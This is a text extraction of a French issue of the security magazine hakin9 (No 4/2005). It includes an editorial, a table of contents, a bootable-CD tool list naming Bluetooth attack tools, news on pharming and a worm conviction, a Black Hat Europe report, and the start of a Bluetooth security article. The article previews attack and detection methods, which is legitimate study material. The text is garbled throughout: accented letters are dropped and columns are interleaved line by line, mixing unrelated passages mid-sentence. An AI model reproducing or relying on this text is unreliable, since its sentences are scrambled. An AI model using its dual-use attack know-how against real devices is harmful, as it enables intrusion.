Sie sind auf Seite 1von 84

Un bredouillement...

Les confrences de presse des


Dossier
entreprises s'occupant de la scurit
IT prennent parfois un tournant sur- Scurit des connexions Bluetooth
prenant. Bien que les invits soient 12 Tomasz Rybicki
d'habitude les reprsentants des Vous trouverez dans cet article le modle de scu-
mdia spcialiss, on peut entendre rit de la technologie Bluetooth. Les mthodes et les outils
des choses incroyables. servant s'attaquer aux priphriques avec l'interface Blue-
Imaginons qu'un confrencier met tooth seront prsentes. Les mthodes du fonctionnement
Rdacteur en chef
Roman Polesek
dans un sac les virus, les vers, des virus agissant sur cette plate-forme y seront galement
adware et spyware. Les script-kid- analyses.
dies ne sont d'aprs lui que des hackers solitaires et
programmeurs qui crivent des virus de bas niveau. Bien
sr, il ne faut pas exiger qu'un spcialiste en marketing ait
une connaissance approfondie des questions informatiques,
mais les paroles se rpandent dans les airs et parviennent
Focus
aux reprsentants de diffrents magazines. De cela, pour
un lecteur ordinaire, les notions de hacker et hacking sont Google dangereux la recherche
depuis toujours associes aux vols d'identit ou aux warez. 22 des informations confidentielles
Dans notre (et votre) magazine, il s'agit d'une chose tout Micha Piotrowski
fait diffrente nous tenons au savoir-faire et la scurit. Cet article montre comment le moteur de recherche Google
videmment, nous prenons parfois le point de vue du crimi- peut tre utilis pour rechercher les informations confidentielles
nel, mais cela uniquement pour faire comprendre les mtho- et les objectifs potentiels des attaques ainsi que les techniques
des qu'il utilise. Pour nous, la cybercrminalit ne diffre en avances de recherche et leurs rsultats surprenants.
rien des vols des voitures ou des sacs des vielles dames.
Quand nous publions des textes sur les failles de scurit
dans les technologies concrtes par exemple le Bluetooth
(p. 12) ou l'IDS (p. 50) notre intention est de dmontrer
le phnomne et les dangers pouvant menacer les utilisa-
Pratique
teurs. Si nous nous proccupons de la cration des troyens
invisibles (p. 34), c'est pour vous sensibiliser ce type de Contourner discrtement les pare-
problmes et, peut-tre, attirer l'attention des diteurs de 34 feux personnels dans Windows
programmes. Il est facile de remarquer que nous n'utilisons Mark Hamilton
pas le mot hacker dans une acception impropre de ce terme, L'article a pour but de prsenter comment dtourner
et la prsentation de la possibilit de rechercher les donnes les pare-feux personnels pour Windows. Vous appren-
confidentielles dans Google (p. 22) est un prtexte pour drez comment crer un outil logiciel qui se connectera
montrer les possibilits de ce moteur de recherche. Internet par l'intermdiaire d'une autre application de
Nous faisons confiance nos lecteurs et nous sommes confiance.
srs qu'ils connaissent la diffrence entre un hacker et un
pirate (cracker). Nous sommes conscients que les techniques Rcupration des donnes partir
prsentes dans notre magazine peuvent tre utilises des 42 des systmes de fichiers Linux
fins ignobles. Mais nous sommes fiers que tous les deux mois, Bartosz Przybylski
nos lecteurs obtiennent une nouvelle portion du savoir. Comment rcuprer les fichiers importants dans le systmes
Roman Polesek de fichiers ext2, ext3 et ReiserFS ? Vous connatrez les prin-
romanp@hakin9.org cipes du fonctionnement de diffrents systmes de fichiers
et les outils servant rcuprer les donnes.

La revue hakin9 est publie en 7 versions :

Si vous tes intress par lachat


de licence de publication de
revues merci de contacter :

Monika Godlewska
e-mail : monikag@software.com.pl

tl : +48 (22) 860 17 61


fax : +48 (22) 860 17 71 polonaise tchque italienne
Le priodique est publi par
Software-Wydawnictwo Sp. z o.o.

Science
Software-Wydawnictwo Sp. z o.o.,
Lewartowskiego 6, 00-190 Varsovie, Pologne
Tl. +48 22 860 18 81, Fax. +48 22 860 17 70
www.hakin9.org

Les systmes de dtection dintru- Directeur de la publication : Jarosaw Szumski


50 sion vus de l'intrieur Imprimerie, photogravure : 101 Studio, Firma Tgi
Antonio Merola Ekonomiczna 30/36, 93-426 d
Quelles sont les mthodes du fonctionnement des sys- Imprim en Pologne/Printed in Poland
tmes de dtection des intrusions, leurs types et les Abonnement (France mtropolitaine) : 1 an (soit 6 numros) 38
DOM/TOM, tranger : nous consulter
diffrences entre elles ? Quelles sont les techniques qui
peuvent tre utilises par l'intrus pour dtecter ou dsac- Dpt lgal : parution
tiver l'IDS ? ISSN : 1731-7037
Commission paritaire : en cours
Distribution : MLP
Parc dactivits de Chesnes, 55 bd de la Noire
Stganographie rseau dissimuler BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX
58 des donnes dans les en-ttes TCP/IP
ukasz Wjcicki (c) 2005 Software-Wydawnictwo, tous les droits rservs
Rdacteur en chef : Roman Polesek romanp@hakin9.org
L'article prsente en quoi consiste la dissimulation des donnes Rdactrice adjointe : Paulina Nowak paulinan@software.com.pl
dans les en-ttes TCP/IP. Vous apprendrez o et comment Secrtaire de rdaction : Tomasz Nidecki tonid@hakin9.org
cacher les donnes et connatrez les outils permettant une Maquette : Anna Osiecka annao@software.com.pl
communication secrte l'aide de la stganographie rseau. Couverture : Agnieszka Marchocka
Traduction : Grayna Wena, Iwona Czarnota, Marie-Laure Perrotey,
Batrice Ginier-Gillet
Correction : Jrmie Fromaget, Jean-Franois K@sparov, Gabriel

Fiche technique
Campana, Gilles Gaffet, Sebastien Lecocq, Pierre-Emmanuel Leriche,
Gilles Fournil, Pierre Mennechet, Jeremy Canale

Les personnes intresses par la coopration sont pries de nous


contacter : cooperation@software.com.pl
Dtection du sniffing dans les
68 rseaux commuts Abonnement : abonnement@software.com.pl
Fabrication : Marta Kurpiewska marta@software.com.pl
Daniel Kaczorowski, Maciej Szmit Diffusion : Monika Godlewska monikag@software.com.pl
Vous y trouverez les mthodes exploites pour sniffer dans Publicit : adv@software.com.pl
les rseaux commuts : MAC-flooding et ARP-spoofing.
La rdaction fait tout son possible pour sassurer que les logiciels sont jour,
L'article prsente les mthodes de dtecter ce type de snif- pourtant elle dcline toute responsabilit pour leur utilisation. Elle ne fournit pas
fing, ainsi que les outils qui peuvent vous aider. de support technique li linstallation ou lutilisation des logiciels enregistrs
sur le CD-ROM. Tous les logos et marques dposs sont la proprit de leurs
propritaires respectifs.
Tor
76 Tomasz Nidecki
La rdaction utilise le systme PAO
Pour crer les diagrammes on a utilis le programme
Cest un proxy anonyme fonctionnant sur le principe
du rseau distribu. Il permet toutes les applications qui Le CD-ROM joint au magazine a t test avec AntiVirenKit de la socit G Data
Software Sp. z o.o.
possdent SOCKS4 d'tablir des connexions anonymes,
slectionnes de faon alatoire dans le rseau de relais.
Il est galement possible de dmarrer notre propre relais. AVERTISSEMENT
Les techniques prsentes dans les articles ne peuvent
tre utilises qu'au sein des rseaux internes.
08 Actus La rdaction du magazine n'est pas responsable de l'utili-
Les nouvelles du monde de la scurit des syst- sation incorrecte des techniques prsentes.
mes informatiques. L'utilisation des techniques prsentes peut provoquer la
perte des donnes !

anglaise allemande franaise espagnole


Feuilleton

Tomasz Nidecki

Essaie de mattraper

U
ne chaude soire dt. Le propritaire du cyber serveurs diffrents pour arriver jusqu la victime tout
caf du quartier, coll lcran de son ordina- en masquant lorigine deffraction, est dfinitivement
teur, joue Half-Life. Un jeune homme, habill termine. Les cybers cafs ont permis aux malfrats un
trs chic, entre dans le caf. Il porte les lunettes Gucci vrai anonymat. Cependant, ces cafs ntaient pas pour
et une chemise soigneusement repasse. Le jeune eux trs pratiques. Le pirate tait contraint dutiliser un
homme affiche un large sourire. Il paye au comptoir une ordinateur et le payer. prsent, les cybers pirates
heure de connexion Internet. La serveuse, jeune amie peuvent exprimer leur infinie gratitude ceux qui ont
du propritaire, est moiti endormie et ne fait pas sp- invent des hot spots gratuits. Maintenant, il leur suffit
cialement attention au jeune homme. Elle est fascine dquiper le micro portable en carte Wi-Fi et sasseoir
par les articles de la presse people quelle est en train sur un banc pour pouvoir capter tout le rseau. Et com-
de feuilleter. ment identifier ces individus ? Daprs une adresse
Le jeune homme prend place dans un coin et branche MAC ? Vous voulez rire ! Dans ce cas prcis, ils restent
sa cl USB lordinateur. Dun air impassible, lhomme totalement impunis !
narrte pas de pianoter sur le clavier. Les habitus du Les hots spots deviennent de plus en plus populaires.
caf ne font pas attention lui non plus, car ceux-l Les commerant y recourent de plus en plus pour attirer
sont captivs par les jeux en ligne et par la drague via le les clients. Mme un petit restaurant dans mon quartier
chat. Le jeune homme quitte le caf avant que lheure ne affiche une pancarte publicitaire qui allche la clientle
scoule, tout en souriant gentiment. La serveuse mur- avec une entre libre sur l'Internet. Je suis cependant
mure peine un au revoir. persuad que ce restaurateur na pas rflchi ce quil
Quelques jours plus tard, le caf est encercl par des puisse advenir, si lun de ses clients cambriolait une
hommes cagouls. Le propritaire est sous le choc. Lui banque partir du rseau install dans son commerce.
et son amie sont menotts et embarqus dans un camion Il a d penser que les voleurs iront plutt chez le voisin.
de police. On apprend que quelques jours auparavant, Mme sans les hots spots, la technique Wi-Fi est trs
les archives de la DST ont t visites et les malfaiteurs peu scurise. Chaque rseau sans fil est une vraie pas-
ont drob des donnes ultra confidentielles. Linfrac- soire. Beaucoup dhabitants dimmeubles optent pour le
tion a t commise partir de ladresse IP attribue au rseau Wi-Fi, lequel leur permet de contourner les autori-
propritaire du cyber caf. Le propritaire tente en vain sations des syndics pour faire passer le cble dun balcon
dexpliquer quil ne peut pas rpondre des actes de ses lautre, ou installer ce cble via le rseau tlphonique.
clients. Il fallait demander aux clients des pices diden- La technique Wi-Fi est adopte par les entreprises les-
tit et noter leurs numros rtorque le procureur. quelles ne veulent pas investir dans une infrastructure
Cette histoire nest pas relle mais elle peut bientt cble. Violer laccs dun rseau Wi-Fi est non seule-
le devenir. L encore, il ny aura pas de justifications ment beaucoup plus simple que de faire une effraction
possibles. La victime pourrait tre non seulement un pro- dans un rseau cbl, mais de plus, cette technique
pritaire dun cyber caf mais aussi bien le propritaire empche de trouver l'auteur du crime. Car comment
dune entreprise qui na aucun rapport avec lInternet tablir quel individu tel jour et telle erreur se trouvait
par exemple, un restaurateur qui aurait mis en place un proximit du rseau (pas forcment dans les locaux de
hot spot pour ses clients, ou bien encore ladministrateur lentreprise ou dans l'immeuble mais par exemple dans la
dun rseau local qui fonctionnerait avec un systme Wi- cour) avec un ordinateur.
Fi. Une fois de plus, les justifications, en cas deffraction, Je suis peut-tre un rleur nostalgique, cependant,
ne serviront rien. Qui va chercher le vrai coupable def- je regrette le bon vieux temps. Je prfre avoir moins
fraction ? Les preuves seront solides et ladresse IP sera de facilit pour me connecter lInternet mais en revan-
suffisamment parlante. che, tre certain de pouvoir identifier un pirate potentiel
Passer inaperu est un jeu denfant pour un cam- et le prendre sur le fait. Alors, pour protester contre cette
brioleur qui pntre dans un rseau. Lpoque o le menace, je reste fidle au rseau BNC. Cela me permet
malfrat devait tablir une connexion travers cinq de dormir tranquillement. n

4 www.hakin9.org hakin9 N o 4/2005


Dans la version actuelle de h9l, il y a galement les
nouveaux logiciels comme :

un jeu d'outils permettant de raliser les attaques


contre la pile du protocole Bluetooth (RedFang, bts-
canner, bt_audit, Blooover, Bluesnarfer, BlueSpam
et d'autres),
un ensemble d'applications pour warXing sous Win-
hakin9.live
dows (versions d'installation),
Postfix, MTA populaire (et les autres logiciels de mes-
sagerie lectronique Mutt, Pine, Sylpheed-Claws),
applications audio de test (cplay, mp3blaster,
Contenu du CD mpg321),
quelques nouveaux jeux texte.

S
ur le CD joint la revue, vous trouverez C'est fluxbox, avec le gestionnaire ROX et le moniteur
hakin9.live (h9l) en version 2.5.2 distribution systme Torsmo qui est actuellement l'environnement
Linux bootable intgrant les outils ncessaires, graphique par dfaut. Un tel ensemble se prsente bien,
la documentation, les tutoriaux et les matriaux compl- il est hautement configurable et ses exigences matriel-
mentaires aux articles. les ne sont pas leves. En mme temps, il est possible
Pour commencer utiliser hakin9.live, il suffit de de dmarrer Xfce 4 en version 4.2.1.1 (option de dmar-
dmarrer l'ordinateur avec le CD insr dans le lecteur. rage hakin9 xfce4).
Les options supplmentaires concernant le dmarrage
du disque (le choix de la langue, une autre rsolution, Tutoriaux et documentation
la dsactivation du framebuffer, etc.) ont t dcrites dans La documentation contient, hormis les astuces concer-
la documentation disponible sur le CD c'est le fichier nant le dmarrage et la gestion de hakin9.live, les tuto-
help.html (si vous voulez le lire partir du h9l dmarr, riels prpars par la rdaction comprenant les exercices
le fichier se trouve dans /home/haking/help.html). pratiques. En ce qui concerne les tutoriels, nous prsup-
posons que vous utilisez hakin9.live. Ainsi, vous vitez les
Quoi de neuf ? problmes lis aux diffrentes versions des compilateurs,
La version 2.5.2 h9l est base sur Aurox Live 10.2. un autre emplacement des fichiers de configuration ou
Le systme tourne sous la surveillance du noyau 2.6.9. aux options indispensables pour dmarrer un logiciel
La dtection du matriel a t corrige et la configuration donn dans un environnement choisi.
du rseau amliore. Le menu est galement standar- La version actuelle de hakin9.live, outre les tutoriaux
dis tous les logiciels ont t regroups dans les cat- des ditions prcdentes, en intgre deux nouveaux. Le
gories adquates, ce qui offre l'accs aux applications premier montre comment communiquer en utilisant la
donnes beaucoup plus intuitif. La nouvelle hakin9.live stganographie rseau (et les en-ttes TCP/IP).
intgre plusieurs nouveaux matriaux supplmentaires Le second concerne la rcupration scure des don-
les documents RFC mis jour, quelques livres gratuits nes partir des systmes de fichiers dans Linux. Ce
au format PDF et HTML et les articles non publis. Le hit doument dcrit la mise en pratique du savoir-faire com-
de ce numro est une publication intitule An Introduction pris dans l'article Rcupration des donnes partir des
to Security (auteur collectif) au format PDF et TXT. systmes de fichiers Linux. n

Figure 1. hakin9.live vous offre plusieurs outils Figure 2. Plusieurs nouveaux matriaux
disponibles sur un CD supplmentaires

6 www.hakin9.org hakin9 N o 4/2005


Sil vous est impossible de lire le CD, et ce dernier nest pas endommag mcaniquement, essayez de le lire au moins dans 2 lecteurs.
L're du pharming
a commenc
Comme l'a dit Chris Risley, prsident dans le pige. Les adresses popu-
de l'entreprise Nominum, le phishing laires, comme www.google.com,
est au pharming ce que le pcheur www.ebay.com ou www.weather.com
Actus
est au chalutier russe. Les phishers (plus de 1300 domaines au total), redi-
doivent intercepter leurs victimes une rigeaient vers une page installant des
par une, utilisant pour cela les tech- programmes spyware. Ensuite, deux
niques de spam et comptant sur la redirections successives ont eu lieu
Amende pour une bonne navet des utilisateurs, alors quune l'une vers un site installant le spyware,
volont attaque russie d'un pharmer signifie et le second vers une page avec
Le chambre du tribunal correction-
mille, voire des millions de victimes la publicit des mdicaments aug-
nel de Paris a condamn Guillaume
Ten verser une amende de 5 000 potentielles. mentant la puissance sexuelle. Elles
euros avec sursis pour avoir viol La diffrence entre le pharming exploitaient aussi les vulnrabilits
la loi sur la proprit intellectuelle. et le phishing consiste en ce que dans les versions plus anciennes de
C'est un prcdent judiciaire en les victimes sont rediriges vers les Windows. Pendant la premire atta-
France. pages substitues sans aucune action que, d'aprs les donnes obtenues
Ten a t accus d'avoir publi
de l'utilisateur lui-mme. La technique partir de l'ordinateur compromis
en 2002 les informations sur
les failles de scurit dans le la plus utilise pour cela est le DNS utilis pour hberger les pages avec
programme anti-virus Viguard. Cache Poisoning, mais il arrive qu'on les spywares, on a not environ 8 mil-
Il a obtenu les donnes en ques- utilise des programmes malicieux lions d'appels HTTP partir de plus
tion par le biais du reverse engi- (notamment Banker) modifiant la con- de mille adresses IP diffrentes. Ces
neering bien qu'avant de publier figuration de Windows (par exemple nombres sont significatifs.
ses rvlations dans l'Internet,
le fichier HOSTS). Parfois, les phar- Bien que pour l'instant le phar-
il en avait inform l'diteur du
programme. mers se servent de la sociotechnique ming est moins populaire que le
Les arguments de la dfense et redirigent les paramtres du phishing, sa puissance est encore
que Guillaume Ten a agi pro domaine chez l'enregistreur vers leurs plus grande. Dans l'Internet, il existe
publico bono n'ont pas t pris en serveurs DNS. Le but est toujours le encore beaucoup de serveurs DNS
compte. partir de cette dcision,
mme : en accdant une page, par vulnrables ces types d'attaques.
on peut constater qu'en France
il sera interdit d'examiner du code exemple la page de sa banque, l'uti- De plus, certains grands fabricants
ferm pour rechercher ses vul- lisateur doit en fait aller une adresse des programmes de protection ngli-
nrabilits, en particulier, si ces IP tout fait diffrente bien sr, gent le problme et sont d'avis que le
informations sont rendues publi- contrl par le voleur et entrer ses phnomne n'est pas suffisamment
ques par la suite. donnes confidentielles. important pour s'en soucier. Il est plus
MeetBSD international Le DNS Cache Poisoning con- difficile de se protger contre le phar-
Entre 1719 juin 2005, Cracovie, siste introduire dans le serveur ming que contre le phishing tous les
aura lieu la seconde dition de la cache DNS une fausse adresse pour utilisateurs du serveur DNS attaqu
confrence MeetBSD, consacre le domaine attaqu. Ce n'est pas une y sont vulnrables, indpendamment
comme son nom l'indique aux nouvelle mthode elle a t dcou- de la version du systme d'exploita-
systmes de la famille BSD. Cette verte la fin des annes 90 et la plu- tion de l'utilisateur, pas seulement
fois-ci, cet vnement a une dimen-
sion internationale. La confrence
part des serveurs DNS ont t dj ceux qui ont cliqu sur le liens dans
est organise par la fondation protgs contre celle-ci. Mais est-ce une lettre obtenue ou ceux qui n'ont
Proidea. Le patron mdia est le vrai ? Bind 8.x et DNS cache Win- pas mis jour leurs Windows.
magazine hakin9. dows NT4 et 2000 contenaient encore prsent, la seule mthode
Trois jours d'ateliers et de cours les failles permettant de l'utiliser. efficace pour se protger contre le
trs intressants autant pour
Vu la petite popularit de ces types pharming consistent vrifier les cer-
les newbies que pour les avancs
seront remplis de sujets troite- d'attaques, on ne leur a pas accord tificats des pages visites (bien sr
ment lis aux systmes bass sur deimportance tant que leurs possibi- travers une connexion sre). Outre
le noyau de Berkeley. Poul-Hen- lits n'taient pas dcouvertes par les cela, les banques devraient, outre la
ning Kamp, Dru Lavigne et Robert voleurs. C'est le dbut du pharming. liste des mots de passe d'autorisation,
Watson, les dveloppeurs de La premire attaque de masse a utiliser une autre mthode d'autori-
FreeBSD, sont parmi les invits.
eu lieu il y a peine quelques mois, sation, par exemple les jetons ou les
Tous les participants obtiendront
un certificat de participation la en mars 2005. L'attaque visait aux cartes de codes uniques.
confrence et beaucoup de mat- versions vulnrables des pare-feux Les informations plus dtailles
riaux supplmentaires. de Symantec avec DNS Cache int- sur les techniques prsentes dans
gr. Les employs de plus de 500 le prochain numro du magazine
grandes entreprises sont tombs hakin9.

8 www.hakin9.org hakin9 N o 4/2005


Spyware une affaire en or
Un cracker condamn D'aprs le rapport de l'entreprise

21 mois de prison
Webroot, la production des pro-
grammes de type spyware devient
une affaire en or : les bnfices
g de 21 ans, Raymond Paul Stei- Le ver permettait de prendre annuels de cette branche atteignent
gerwalt, le pirate amricain, accus le contrle des systmes infects 2 milliards de dollars. Le document
d'avoir infect le Dpartement de la travers les canaux IRC. Il permet- publi contient aussi une thse
Dfense des tats Unis (Department tait d'excuter plusieurs processus audacieuse que ce procd peut
mme faire obtenir 25 % de march
of Defense) par le ver TK worm, a t dangereux au niveau de la machine
de la publicit dans l'Internet.
puni d'une peine de 21 mois dincar- infecte partir du scannage Les programmes affichant de la
cration. S'y ajoute un ddommage- des autres machines pour dtec- publicit ou redirigant les navi-
ment de 12 000 dollars au profit du ter les failles dans les systmes gateurs vers des adresses non
Dpartement de la Dfense. Il parat de protection jusqu'aux attaques souhaites constituent, d'aprs les
que Steigerwalt est devenu un bouc DDoS contre d'autres ordinateurs tudes, plus de la moiti de toutes
les infections. Bien que la cons-
missaire et tait puni pour tous les et rseaux. En 2002 en Grande
cience des utilisateurs augmente,
auteurs du ver. Bretagne, TK worm a entran les les infections sont de plus en plus
TK worm a t identifi pour la pre- pertes financires de plus de 5,5 frquentes.
mire fois dans la 1re moiti de 2002. millions livres. Les statistiques sont effrayantes
Il exploitait les failles dans le serveur Steigerwalt a t aussi con- depuis janvier jusqu' avril 2005,
Microsoft Internet Information Services damn pour la dtention d'images de environ 90% des machines dans
les entreprises et dans les mai-
pour se diffuser et installer les portes pornographie infantile. Entre 2002
sons ont t infectes. Bien que le
drobes contrles par les concep- et 2003, il tait membre du groupe nombre de nouveaux programmes
teurs du ver. Au moins deux ordina- Thr34t Krew (TK), souponn d'avoir malicieux dtects baisse, les
teurs appartenant au Dpartement de cr le ver TK worm. rgulations lgales incriminant ce
la Dfense ont t contamins. procd n'existent pas. Mme les
tats Unis n'ont pas russi l'anne
pass introduire les rglements

Microsoft : appropris.

chec du quiz de la scurit Si vous voulez raw soc-


kets , changez de systme
Organis dans l'Internet par Micro- reur 404: file not found. De plus, Parmi plusieurs correctifs de scu-
soft le concours pour les spcialistes il n'y avait aucun problme avec rit inclus dans le Service Pack 2
pour Windows XP, la suppression
de la scurit, The Gatekeeper, a une fausse rponse : il suffisait
de la fonctionnalit raw sockets a
t interrompu. Il s'est avr que de revenir la page prcdente provoqu les plus grandes contro-
les participants falsifiaient les notes. et choisir encore une fois la rponse verses. Elle permet de communi-
Microsoft a constat que le concours correcte, sans perdre les points. quer avec le matriel informatique
sera rtabli ds que cela sera possi- Mais le plus grand problme tait directement via le rseau.
ble. Cette raction ressemble un peu qu'aprs deux jours de concours Le raw sockets (sockets bruts)
facilitent beaucoup la surveillance
celle l'information sur les failles au maximum, on pouvait remporter et le filtrage du trafic rseau.
de scurit dtectes dans leurs 350 points par jours les meilleurs D'autre part en cas d'un sys-
programmes. avaient mme 1750 points. tme d'exploitation mal protg
D'aprs l'entreprise, aux con- Il n'y a pas de raisons de soup- ou mal conu elles peuvent tre
cours, qui devrait durer 12 jours onner Microsoft d'une mauvaise la source des dangers. Cette fonc-
tionnalit est disponible dans tous
(214 mai), plus de 20 mille infor- volont : du point de vue de l'en-
les systmes de la famille *NIX.
maticiens de 20 pays ont pris part. treprise, cela n'a aucun sens. Mais Mais le plus grand problme
Ils devaient rpondre deux ques- plusieurs spcialistes de tant de est d au fait que plusieurs appli-
tions de choix multiple par jours, pays taient sans doute dus. Blue cations rseaux pour Windows
rivalisant avec les meilleurs com- Screen of Death a dtruit les plans de sont bases sur raw sockets. Si
patriotes cette tape, le prix promotion de l'entreprise d'autant cette solutions est supprime,
les applications augmentant la
tait un TabletPC, et le vainqueur plus, qu'elle est le plus grand diteur
scurit deviennent inutiles et ne
aurait particip en tant que VIP des systmes d'exploitation. sont bonnes rien. Les diteurs
dans la confrence TechEd. Hlas, The Gatekeeper, devrait tre de ces types de programmes ne
ce fut un chec. considr comme un dfi. La per- prennent pas bonne note des
La vitrine du quiz fonctionnait sonne qui lavait gagn, aurait pu se garantie de Microsoft que cet ugly
uniquement avec le navigateur considrer comme un vrai expert en hack pourrait augmenter la scu-
rit de Windows, mais l'entreprise
Inernet Explorer. Peu importe. Pire matire de la scurit. Ceux qui ont mme ne voit pas la possibilit de
encore le systme refusait souvent falsifi le nombre de points, nont rien se retirer de cette dcision.
d'enregistrer les rponses correc- gagn et en plus ils ont rendu la vic-
tes et affichait le message d'er- toire du concours impossible.

hakin9 N o 4/2005 www.hakin9.org 9


a t aussi trs intressante. Nous avons pu revoir la
totalit de toutes les mthodes dattaques connues ainsi
que deux nouvelles, annonces justement pendant cette
Actus
confrence. Tout cela, sur des exemples appropris.
Le cours ddi aux failles de scurit dans le noyau
du systme MacOS X a t aussi trs attirant (l'article
l-dessus sera disponible dans le prochain numro de
Black Hat Europe 2005 hakin9). Ilja van Sprundel et Christian Klein ont prouv
que mme un systme trs bien conu, comme le produit
de l'entreprise Apple, n'est pas pourvu de dfauts. Il faut

D
u 29 mars au 1 avril 2005 Amsterdam, l'dition aussi mentionner la confrence de Job de Haas, consa-
europenne de l'une des plus importantes con- cre la scurit du systme Symbian, conu pour les
frences ddies la scurit IT Black Hat priphriques mobiles. Le cours d'Aleksander Kornbrust
Europe (http://www.blackhat.com) a eu lieu. Pendant concernant les rootkits de bases de donnes tait aussi
quatre jours, plus de quarante confrences et ateliers, une surprise trs agrable.
d'ailleurs trs bien organiss, ont eu lieu. Les prsenta- Hlas, rien n'est parfait et nous avons connu deux
teurs, meilleurs spcialistes des quatre coins du monde, dceptions. La premire tait le cours de Kenneth Geers
ont surpris les participants par leur savoir-faire et par leur sur la scurit rseau en Russie les informations taient
dmonstration. Le partenaire mdiatique de cette ren- assez banales et on pouvait remarquer une certaine fas-
contre de printemps tait le magazine hakin9. cination de l'auteur sur la vision informatique russe. Le
Les ateliers (appels par Black Hat Trainings) taient deuxime chec, un peu plus lger, tait la confrence
des prsentations pratiques trs bien prpares tout de Jon Callas du PGP Corporation intitul Hacking PGP,
comme les cours (Briefings), trs apprcis par lquipe qui pouvait tre traite comme une crypto-publicit de
de hakin9. Ces derniers, diviss en deux catgories l'entreprise (un long discours qui s'est termin par la con-
simultans, placs les participants devant un dilemme : clusion que le PGP est pratiquement inviolable).
que choisir. Les enregistrements audio et vido et les matriaux
Il est difficile d'numrer ici tous les vnements de la confrence sont tlcharger partir du site Web
importants, mais notre quipe a t impressionne par le de Black Hat. Mais la participation personnelle la con-
cours de Dan Kaminsky, traitant du transfert des donnes frence a fourni des impressions inoubliables. Malgr le
et de l'omission des pare-feux l'aide du protocole DNS. prix trs lev plus de 1000 dollars pour deux jours de
Dan a dmontr comment, dans les requtes DNS, on confrence la participation ce type d'vnement est
peut transfrer des informations quelconques partir ncessaire pour tous ceux qui veulent tre au courant
de chanes de caractres trs simples jusqu'aux donnes des derniers problmes lis la scurit IT. Mais rien
audio et vido. La transmission en ligne voice over DNS nest fini bien que la confrence amricaine ait dj eu
a t accueillie par de vifs applaudissements. lieu, la confrence Black Hat Asia au Japon sera tenue
La confrence de l'quipe d'Adam Laurie, le spcia- en octobre 2005.
liste le plus connu sur la scurit du protocole Bluetooth, Roman Polesek

Figure 1. Les formations furent d'un grand intrt Figure 2. L'quipe de hakin9 : Tomasz Nidecki, Roman
Polesek

10 www.hakin9.org hakin9 N o 4/2005


Scurit des
connexions Bluetooth
Tomasz Rybicki

Bluetooth devient de plus en plus


populaire. En 2005, il y aura plus
de 1,5 milliards de priphriques
munis de cette technologie.
Cependant, Bluetooth peut
tre aussi utilis des fins
malicieuses pour consulter
des donnes prives, causer des
dommages financiers ou mme
pour localiser le propritaire d'un
priphrique.

D
e plus en plus de priphriques virus fonctionnant sur ces priphriques de
communiquent travers Bluetooth leur faon de se propager, du fonctionnement
(cf. l'Encadr Bluetooth bondissant). et des mthodes permettant de les liminer.
Ce protocole peut tre utilis, par exemple,
pour connecter un ordinateur portable Inter- Ainsi parlait la spcification
net l'aide d'un tlphone mobile, pour se ser- La spcification du Bluetooth dtermine trois
vir d'un casque d'coute sans fil, il permet aussi nivaux de protection implmenter dans les
de construire les rseaux dans les bureaux. priphriques :
Ses domaines d'application sont pratiquement
illimits. niveau 1 sans protection,
Pourtant, ce protocole n'est pas trs sr, niveau 2 la protection au niveau des servi-
et une multitude d'applications deviennent ces,
dangereuses pour l'utilisateur. Il existe dj de
nouveaux virus diffuss via Bluetooth. Derni-
rement, le virus Cabir a sem le trouble, mais Cet article explique...
il n'est pas le seul il existe encore Dust, le virus
comment dtecter les priphriques dots du
contaminant les priphriques de type PDA,
Bluetooth,
et Lasco, trs similaire Cabir, mais beaucoup comment cibler une attaque contre ces pri-
Dossier

plus dangereux. phriques,


tant donn que le Bluetooth devient de plus comment liminer les virus s'attaquant au Blue-
en plus populaire, il est judicieux de s'intresser tooth.
aux questions lies sa scurit. Nous com-
mencerons par le modle de scurit prsent Ce qu'il faut savoir...
dans la spcification, et nous nous concentre-
rons sur les mthodes et outils permettant de au moins les notions de base sur le protocole
s'attaquer aux priphriques avec l'interface Bluetooth.
Bluetooth. la fin, nous nous occuperons des

12 www.hakin9.org hakin9 N o 4/2005


Scurit du Bluetooth

l'adresse du priphrique de
48 bits, l'adresse unique du pri-
Bluetooth bondissant
Bluetooth fonctionne sur la bande de frquence de 2,4 GHz, et plus prcisment phrique concret dtermine par
dans la gamme de 24022480 MHz. La bande est divise en 79 canaux d'une lar- IEEE (Institute of Electrical and
geur de 1 MHz, entre lesquelles sautent les priphriques communiquants. Si ces Electronic Engineers),
priphriques sont synchroniss, un seul canal logique permettant d'envoyer les la cl de chiffrage prive la cl
donnes est cr. utilise pour le chiffrage des don-
Pour un observateur extrieur, les donnes sont tout simplement une srie nes, d'une longueur de 8128
d'impulsions se produisant sur diffrentes frquences, apparemment alatoires. bits (en fonction du pays du fabri-
Les priphriques changent les frquences (canaux) conformment un certain cant),
algorithme. Cet algorithme est diffrent pour chaque connexion tablie dans une
la cl d'authentification prive
zone donne.
cette cl est utilise pour
La premire phase de l'tablissement d'une connexion entre les priphri-
authentifier l'utilisateur, d'une lon-
ques est l'ajustage du client l'algorithme des sauts du serveurs et la phase
dtermine de cet algorithme partir de ce moment, les deux priphriques gueur de 8128 bits (en fonction
sautent ensemble. Ce n'est pas facile, vu que les sauts de frquences s'effec- du pays du fabricant),
tuent 1600 fois par seconde. Pour pouvoir couter la communication entre deux nombre alatoire RAND le
priphriques Bluetooth, il faut couter la squence initialisant la connexion, au nombre pseudo-alatoire, de 128
moment o l'un des priphriques propage les donnes concernant son algo- bits, gnr de temps en temps
rithme de sauts. par le priphrique,
Si dans une zone, plusieurs priphriques fonctionnent, il est probable qu' les algorithmes de la gnra-
un moment plus d'une paire communique travers un canal. Mais ce n'est pas un tion des cls E0, E21 et E22
problme. Le protocole de la transmission des donnes au niveau de la couche de
(cf. l'Encadr Bluetooth et algo-
liaison de donnes assure dans cette situation une solution correcte la transmis-
rithmes E).
sion du paquet erron est rpte sur le premier canal libre.
La porte de la communication Bluetooth est de moins de 10 jusqu'au plus de
100 mtres (en fonction de la puissance de l'metteur et du rcepteur). La plupart Comme nous l'avions dit, le
des priphriques sont munis d'une antenne de faible puissance le cot d'un tel deuxime niveau de protection est
priphrique est moins lev, la consommation d'nergie est galement plus faible ralis par le chiffrage des donnes
(ce qui est important, tant donn que ces priphriques sont aliments avec des envoyes. Pour cela, on utilise la
batteries). Cela signifie qu'un coutant devra se trouver une distance de quelques cl de chiffrage d'une longueur de
mtres. Pourtant, malgr les apparences, ce n'est pas une difficult il y a plusieurs 8128 bits, gnre l'aide de l'al-
